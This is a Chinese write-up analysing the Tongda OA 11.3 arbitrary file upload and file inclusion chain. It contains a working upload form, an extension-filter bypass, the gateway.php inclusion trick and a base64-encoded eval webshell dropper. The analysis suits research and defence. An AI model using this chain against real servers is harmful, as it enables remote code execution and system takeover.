通达OA任意文件上传与文件包含分析

前言

分析一下前段时间爆出的通达OA任意文件上传+文件包含漏洞,本文测试版本为11.3

代码分析

文件上传

漏洞触发点位于/ispirit/im/upload.php,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
<?php

set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
ob_start();
include_once "inc/session.php";
session_id($P);
session_start();
session_write_close();
}
else {
include_once "./auth.php";
}

include_once "inc/utility_file.php";
include_once "inc/utility_msg.php";
include_once "mobile/inc/funcs.php";
ob_end_clean();
$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}

if (strpos($DEST_UID, ",") !== false) {
}
else {
$DEST_UID = intval($DEST_UID);
}

if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
}

$MODULE = "im";

if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == "1") {
if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
}
}

$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

if (!is_array($ATTACHMENTS)) {
$dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS);
echo json_encode(data2utf8($dataBack));
exit();
}

ob_end_clean();
$ATTACHMENT_ID = substr($ATTACHMENTS["ID"], 0, -1);
$ATTACHMENT_NAME = substr($ATTACHMENTS["NAME"], 0, -1);

if ($TYPE == "mobile") {
$ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), "utf-8", MYOA_CHARSET);
}
}
else {
$dataBack = array("status" => 0, "content" => "-ERR " . _("无文件上传"));
echo json_encode(data2utf8($dataBack));
exit();
}

$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);

if (!$FILE_SIZE) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("文件上传失败"));
echo json_encode(data2utf8($dataBack));
exit();
}

if ($UPLOAD_MODE == "1") {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}

$P_VER = (is_numeric($P_VER) ? intval($P_VER) : 0);
$MSG_CATE = $_POST["MSG_CATE"];

if ($MSG_CATE == "file") {
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
}
else if ($MSG_CATE == "image") {
$CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
}
else {
$DURATION = intval($DURATION);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
}

$AID = 0;
$POS = strpos($ATTACHMENT_ID, "@");

if ($POS !== false) {
$AID = intval(substr($ATTACHMENT_ID, 0, $POS));
}

$query = "INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0','$AID')";
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();

if ($cursor === false) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("数据库操作失败"));
echo json_encode(data2utf8($dataBack));
exit();
}

$dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID);
echo json_encode(data2utf8($dataBack));
exit();
}
else if ($UPLOAD_MODE == "2") {
$DURATION = intval($_POST["DURATION"]);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
$query = "INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('" . $_SESSION["LOGIN_UID"] . "', '" . $CONTENT . "', '" . time() . "')";
$cursor = exequery(TD::conn(), $query);
echo "+OK " . $CONTENT;
}
else if ($UPLOAD_MODE == "3") {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}

echo "+OK " . $ATTACHMENT_ID;
}
else {
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
$msg_id = send_msg($_SESSION["LOGIN_UID"], $DEST_UID, 1, $CONTENT, "", 2);
$query = "insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0')";
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();

if ($cursor === false) {
echo "-ERR " . _("数据库操作失败");
exit();
}

if ($FILE_ID == 0) {
echo "-ERR " . _("数据库操作失败2");
exit();
}

echo "+OK ," . $FILE_ID . "," . $msg_id;
exit();
}

?>

从前往后分析,首先是如下代码

该处我们只要传入一个P值就可以了,注意P的值不能为0或者空,接下来是该段代码

td_verify_ids函数如下

1
2
3
4
function td_verify_ids($ids)
{
return !preg_match("/[^0-9,]+/", $ids);
}

该处我们传入DEST_UID为1就可以了,接着我们直接来到了上传文件的代码段

if (1 <= count($_FILES))用来判断有没有文件上传的请求,如果存在正常的文件上传请求,会执行到52行的upload函数,该函数中调用is_uploadable函数对文件名等做了一些限制,如图

该处取出文件名最后三个字符来判断是不是php文件,在这里我们可以在php后面加.,这样的话不仅可以绕过此处,还可以绕过其他扩展名处的过滤,并且写文件时最后的.会被删掉,这样我们就可以写入php文件

回到upload函数,他的返回值如下

接着有下面的代码

1
2
$ATTACHMENT_ID = substr($ATTACHMENTS["ID"], 0, -1);
$ATTACHMENT_NAME = substr($ATTACHMENTS["NAME"], 0, -1);

接着当变量$UPLOAD_MODE为1或2的时候都会返回我们上传后的文件名,该变量可以通过全局变量覆盖来得到,在common.inc.php中我们可以找到对应实现变量覆盖功能的代码段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
if (0 < count($_POST)) {
$arr_html_fields = array();

foreach ($_POST as $s_key => $s_value ) {
if (substr($s_key, 0, 7) == "_SERVER") {
continue;
}

if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") {
if (!is_array($s_value)) {
$_POST[$s_key] = addslashes(strip_tags($s_value));
}

$s_key = $_POST[$s_key];
}
else {
if (($s_key == "TD_HTML_EDITOR_FORM_HTML_DATA") || ($s_key == "TD_HTML_EDITOR_PRCS_IN") || ($s_key == "TD_HTML_EDITOR_PRCS_OUT") || ($s_key == "TD_HTML_EDITOR_QTPL_PRCS_SET") || (isset($_POST["ACTION_TYPE"]) && (($_POST["ACTION_TYPE"] == "approve_center") || ($_POST["ACTION_TYPE"] == "workflow") || ($_POST["ACTION_TYPE"] == "sms") || ($_POST["ACTION_TYPE"] == "wiki")) && (($s_key == "CONTENT") || ($s_key == "TD_HTML_EDITOR_CONTENT") || ($s_key == "TD_HTML_EDITOR_TPT_CONTENT")))) {
unset($_POST[$s_key]);
$s_key = ($s_key == "CONTENT" ? $s_key : substr($s_key, 15));
$s_key = addslashes($s_value);
$arr_html_fields[$s_key] = $s_key;
}
else {
$encoding = mb_detect_encoding($s_value, "GBK,UTF-8");
unset($_POST[$s_key]);
$s_key = substr($s_key, 15);
$s_key = addslashes(rich_text_clean($s_value, $encoding));
$arr_html_fields[$s_key] = $s_key;
}
}
}

reset($_POST);
$_POST = array_merge($_POST, $arr_html_fields);
}

if (0 < count($_GET)) {
foreach ($_GET as $s_key => $s_value ) {
if (substr($s_key, 0, 7) == "_SERVER") {
continue;
}

if (!is_array($s_value)) {
$_GET[$s_key] = addslashes(strip_tags($s_value));
}

$s_key = $_GET[$s_key];
}

reset($_GET);
}

下面构造一下上传表单

1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form action="http://localhost:8001/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='UPLOAD_MODE' value = 2 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

但是上传后文件其实是不在web目录下的,我们无法来直接访问我们的shell文件,上传后的文件路径为MYOA/attach/im/ ,这就需要结合下面的文件包含点来利用

文件包含

漏洞点位于/webroot/ispirit/interface/gateway.php中,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility_org.php";

if ($P != "") {
if (preg_match("/[^a-z0-9;]+/i", $P)) {
echo _("非法参数");
exit();
}

session_id($P);
session_start();
session_write_close();
if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
echo _("RELOGIN");
exit();
}
}

if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);

foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;

foreach ($val as $keys => $value ) {
$keys = $value;
}
}

if ($key == "url") {
$url = $val;
}
}

if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}

if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}

exit();
}

?>

访问该文件无需认证,我们直接赋值$json,这里需要满足json中存在键值为url的值,接着需要满足该处条件

1
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false))

我们只需要在包含路径中存在general/ispirit/module/即可,接着就可以包含我们刚才存在的shell文件了,我们可以在shell文件中执行写文件功能,在gateway.php同目录下生成可访问的一句话文件

1
2
3
4
<?php
$shell = base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=");
file_put_contents('shell.php', $shell);
?>

包含shell文件

成功生成shell文件